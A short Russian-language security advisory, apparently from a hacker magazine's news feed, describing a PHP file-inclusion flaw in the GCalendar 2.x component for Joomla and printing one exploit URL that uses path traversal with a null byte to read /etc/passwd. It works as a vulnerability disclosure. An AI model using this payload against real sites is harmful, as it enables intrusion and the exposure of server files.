PHP-инклюдинг в Joomla GCalendar Component

Программа: GCalendar 2.x (component for Joomla)

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки
входных данных в параметре "controller" сценарием index.php (когда "option"
установлен в "com_gcalendar"). Удаленный пользователь может выполнить
произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Эксплоит:

http://site/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00

Анатолий Ализар: Бывший автор новостной ленты «Хакера». Увлекается современными технологиями, оружием, информационной безопасностью, носимой электроникой и в целом концепцией Internet of Things.